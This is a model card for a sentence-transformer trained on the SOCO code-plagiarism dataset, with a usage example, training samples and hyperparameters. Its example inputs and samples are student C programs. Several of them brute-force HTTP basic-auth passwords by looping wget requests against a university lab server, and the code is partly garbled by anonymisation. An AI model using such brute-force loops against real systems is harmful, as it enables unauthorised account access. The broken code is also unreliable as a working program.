SentenceTransformer based on microsoft/unixcoder-base-unimodal
This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: microsoft/unixcoder-base-unimodal
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-UniXcoder-ST-0")
# Run inference
sentences = [
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n int i,j,k,success;\n char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n \n \n strcpy(str1,"wget --http-user= --http-passwd=");\n strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n strcpy(tempstr,"");\n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf("SENDING REQUEST AS %s\\n",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,""); \n strcpy(passwd,"");\n } \n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n for(j=0;j<52;j++)\n {\n passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf("SENDING REQUEST AS %s\\n",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,""); \n \n } \n }\n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n for(j=0;j<52;j++)\n {\n passwd[1]=chararray[j];\n for(k=0;k<52;k++)\n\t {\n\t passwd[2]=chararray[k];\n\t strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf("SENDING REQUEST AS %s\\n",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,""); \n\t } \n } \n }\n return 1;\n } \n\nint (int argc, char *argv[])\n {\n char chararray[52],passwd[3];\n int i,success;\n char ch=\'a\';\n\n\n \n int , end; \n = time();\t \n\n for (i=0;i<3;i++)\n {\n passwd[i]=\'\\0\';\n } \n\n\n\n for (i=0;i<26;i++)\n {\n chararray[i]= ch;\n\t ch++;\n }\n ch=\'A\'; \n for (i=26;i<52;i++)\n {\n chararray[i]= ch;\n\t ch++;\n }\n\n\n\n success=genchkpwd(chararray,passwd);\n printf("\\nPassword is %s\\n",passwd); \n getpid();\n end = time(); \n printf("Time required = %lld msec\\n",(end-)/());\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n end_time = time();\n total_time = (end_time -start_time);\n total_time /= 1000000000.0;\n printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n v[0]=[m]; \n v[1]=\'\\0\';\n v[2]=\'\\0\';\n strcpy(URL,v); \n printf("\\nTesting with password %s\\n",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf("\\nSending the %s\\n",temp3);\n i=system(temp3); \n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken crack the password is %d second\\n\\n",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n for(n=0;n<=51;n++)\n {\n v[0]=[m]; \n v[1]=[n];\n v[2]=\'\\0\';\n strcpy(URL,v); \n printf("\\nTesting with password %s\\n",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf("\\nSending the %s\\n",temp3);\n i=system(temp3);\n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken crack the password is %d second\\n\\n",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n for(o=0;o<=51;o++)\n { \n v[0]=[m]; \n v[1]=[n];\n v[2]=[o];\n strcpy(URL,v); \n printf("\\nTesting with password %s\\n",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf("\\nSending the %s\\n",temp3);\n i=system(temp3);\n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken crack the password is %d second\\n\\n",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n \n \n }\n }\n } \n \n} \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9111, 0.9288],
# [0.9111, 1.0000, 0.9562],
# [0.9288, 0.9562, 1.0000]])
Training Details
Training Dataset
Unnamed Dataset
- Size: 3,081 training samples
- Columns:
sentence_0
,sentence_1
, andlabel
- Approximate statistics based on the first 1000 samples:
sentence_0 sentence_1 label type string string int details - min: 177 tokens
- mean: 436.43 tokens
- max: 512 tokens
- min: 177 tokens
- mean: 421.53 tokens
- max: 512 tokens
- 0: ~99.20%
- 1: ~0.80%
- Samples:
sentence_0 sentence_1 label
#include
#include
#include
#include
#include
#define MSG_FILE "msg"
#define EMAIL_TO "@cs.rmit.edu."
#define TRUE 1
#define FALSE 0
void genLog(char *logFile, const char *URL);
void getPage(const char URL, const char fname);
int getCurTime();
int logDiff(const char logFile, int time);
int isFileExist(const char fname);
void sendMail(const char emailTo, const char subject, const char msgFile
, const char log);
int (int argc, char **argv)
{
int time_var;
char *URL;
int upTime = 0;
char logFile[256];
int logSent = FALSE;
char subject[256];
if (argc != 3)
{
fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n");
exit(1);
}
else
{
time_var = atoi(argv[2]);
URL = malloc(strlen(argv[1]));
if (URL)
{
for (;;)
{
if (((int)difftime(upTime, getCurTime()) % time_var == 0)
&& !logSent)
{
strncpy(URL, argv[1], strlen(argv[1]));
genLog(logFile, URL);
...#include
#include
#include
#include
#include
#include
#include
char* joinMe(char* t, char* t2)
{
char* result;
int length = 0;
int j = 0;
int counter = 0;
length = strlen(t) + strlen(t2) + 1;
result = malloc(sizeof(char) * length);
for(j = 0; j {
result[j] = t[j];
}
for(j = strlen(t); j {
result[j] = t2[counter];
counter++;
}
result[length-1] = '\0';
return result;
}
void check(char** smallcmd)
{
int pid = 0;
int status;
if( (pid = fork()) == 0)
{
execvp(smallcmd[0],smallcmd);
}
else
{
while(wait(&status) != pid);
}
}
int (void)
{
int i = 0, j = 0, k = 0;
char** smallcmd;
int count = 0;
FILE *myFile,*myFile2,myFile3;
int compare1;
char myString;
int length = 0;
int start1, end1;
myString = malloc(sizeof(char) * 100);
smallcmd = malloc(sizeof(char *) * 8);
smallcmd[0] = "/usr/local//wget";
smallcm...0
#include
#include
#include
#include
#include
#define MSG_FILE "msg"
#define EMAIL_TO "@cs.rmit.edu."
#define TRUE 1
#define FALSE 0
void genLog(char *logFile, const char *URL);
void getPage(const char URL, const char fname);
int getCurTime();
int logDiff(const char logFile, int time);
int isFileExist(const char fname);
void sendMail(const char emailTo, const char subject, const char msgFile
, const char log);
int (int argc, char **argv)
{
int time_var;
char *URL;
int upTime = 0;
char logFile[256];
int logSent = FALSE;
char subject[256];
if (argc != 3)
{
fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n");
exit(1);
}
else
{
time_var = atoi(argv[2]);
URL = malloc(strlen(argv[1]));
if (URL)
{
for (;;)
{
if (((int)difftime(upTime, getCurTime()) % time_var == 0)
&& !logSent)
{
strncpy(URL, argv[1], strlen(argv[1]));
genLog(logFile, URL);
...#include
#include
#include
#include
#include
int ()
{
char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int a=0,b=0,c=0,d,e,count=0;
char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];
char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;
int ,end,t;
= time();
while(sizeof(lc)!=52)
{
temp2[0]=lc[d];
temp2[1]='\0';
d=d+1;
strcpy(p,temp2);
while(sizeof(uc)!=52)
{
temp3[0]=uc[b];
temp3[1]='\0';
b=b+1;
strcpy(q,p);
strcat(q,temp3);
for(e=0;e<52;e++)
{
temp1[0]=gc[e];
temp1[1]='\0';
strcpy(r,q);
strcat(r,temp1);
strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
strcat(mx,r);
printf("temp3=%s\n",mx);
if(sy...0
#include
#include
#include
#define TRUE 0
()
{
FILE fp;
system("rmdir ./www.cs.rmit.edu.");
char chk[1];
strcpy(chk,"n");
while(1)
{
system("wget -p http://www.cs.rmit.edu./students/");
system("md5sum ./www.cs.rmit.edu./images/.* > ./www.cs.rmit.edu./text1.txt");
if (strcmp(chk,"n")==0)
{
system("mv ./www.cs.rmit.edu./text1.txt ./text2.txt");
system("mkdir ./");
system("mv ./www.cs.rmit.edu./students/index.html ./");
}
else
{
system(" diff ./www.cs.rmit.edu./students/index.html .//index.htmlmail @cs.rmit.edu. ");
system(" diff ./www.cs.rmit.edu./text1.txt ./text2.txtmail @cs.rmit.edu. ");
system("mv ./www.cs.rmit.edu./students/index.html ./");
system("mv ./www.cs.rmit.edu./text1.txt ./text2.txt");
}
sleep(86400);
strcpy(chk,"y");
}
}
- Loss:
BatchAllTripletLoss
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size
: 16per_device_eval_batch_size
: 16num_train_epochs
: 1fp16
: Truemulti_dataset_batch_sampler
: round_robin
All Hyperparameters
Click to expand
overwrite_output_dir
: Falsedo_predict
: Falseeval_strategy
: noprediction_loss_only
: Trueper_device_train_batch_size
: 16per_device_eval_batch_size
: 16per_gpu_train_batch_size
: Noneper_gpu_eval_batch_size
: Nonegradient_accumulation_steps
: 1eval_accumulation_steps
: Nonetorch_empty_cache_steps
: Nonelearning_rate
: 5e-05weight_decay
: 0.0adam_beta1
: 0.9adam_beta2
: 0.999adam_epsilon
: 1e-08max_grad_norm
: 1num_train_epochs
: 1max_steps
: -1lr_scheduler_type
: linearlr_scheduler_kwargs
: {}warmup_ratio
: 0.0warmup_steps
: 0log_level
: passivelog_level_replica
: warninglog_on_each_node
: Truelogging_nan_inf_filter
: Truesave_safetensors
: Truesave_on_each_node
: Falsesave_only_model
: Falserestore_callback_states_from_checkpoint
: Falseno_cuda
: Falseuse_cpu
: Falseuse_mps_device
: Falseseed
: 42data_seed
: Nonejit_mode_eval
: Falseuse_ipex
: Falsebf16
: Falsefp16
: Truefp16_opt_level
: O1half_precision_backend
: autobf16_full_eval
: Falsefp16_full_eval
: Falsetf32
: Nonelocal_rank
: 0ddp_backend
: Nonetpu_num_cores
: Nonetpu_metrics_debug
: Falsedebug
: []dataloader_drop_last
: Falsedataloader_num_workers
: 0dataloader_prefetch_factor
: Nonepast_index
: -1disable_tqdm
: Falseremove_unused_columns
: Truelabel_names
: Noneload_best_model_at_end
: Falseignore_data_skip
: Falsefsdp
: []fsdp_min_num_params
: 0fsdp_config
: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap
: Noneaccelerator_config
: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed
: Nonelabel_smoothing_factor
: 0.0optim
: adamw_torchoptim_args
: Noneadafactor
: Falsegroup_by_length
: Falselength_column_name
: lengthddp_find_unused_parameters
: Noneddp_bucket_cap_mb
: Noneddp_broadcast_buffers
: Falsedataloader_pin_memory
: Truedataloader_persistent_workers
: Falseskip_memory_metrics
: Trueuse_legacy_prediction_loop
: Falsepush_to_hub
: Falseresume_from_checkpoint
: Nonehub_model_id
: Nonehub_strategy
: every_savehub_private_repo
: Nonehub_always_push
: Falsegradient_checkpointing
: Falsegradient_checkpointing_kwargs
: Noneinclude_inputs_for_metrics
: Falseinclude_for_metrics
: []eval_do_concat_batches
: Truefp16_backend
: autopush_to_hub_model_id
: Nonepush_to_hub_organization
: Nonemp_parameters
:auto_find_batch_size
: Falsefull_determinism
: Falsetorchdynamo
: Noneray_scope
: lastddp_timeout
: 1800torch_compile
: Falsetorch_compile_backend
: Nonetorch_compile_mode
: Noneinclude_tokens_per_second
: Falseinclude_num_input_tokens_seen
: Falseneftune_noise_alpha
: Noneoptim_target_modules
: Nonebatch_eval_metrics
: Falseeval_on_start
: Falseuse_liger_kernel
: Falseeval_use_gather_object
: Falseaverage_tokens_across_devices
: Falseprompts
: Nonebatch_sampler
: batch_samplermulti_dataset_batch_sampler
: round_robinrouter_mapping
: {}learning_rate_mapping
: {}
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 5.0.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.8.1
- Datasets: 3.6.0
- Tokenizers: 0.21.2
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
BatchAllTripletLoss
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}
- Downloads last month
- 1
Inference Providers
NEW
This model isn't deployed by any Inference Provider.
🙋
Ask for provider support
Model tree for buelfhood/SOCO-C-UniXcoder-ST-0
Base model
microsoft/unixcoder-base-unimodal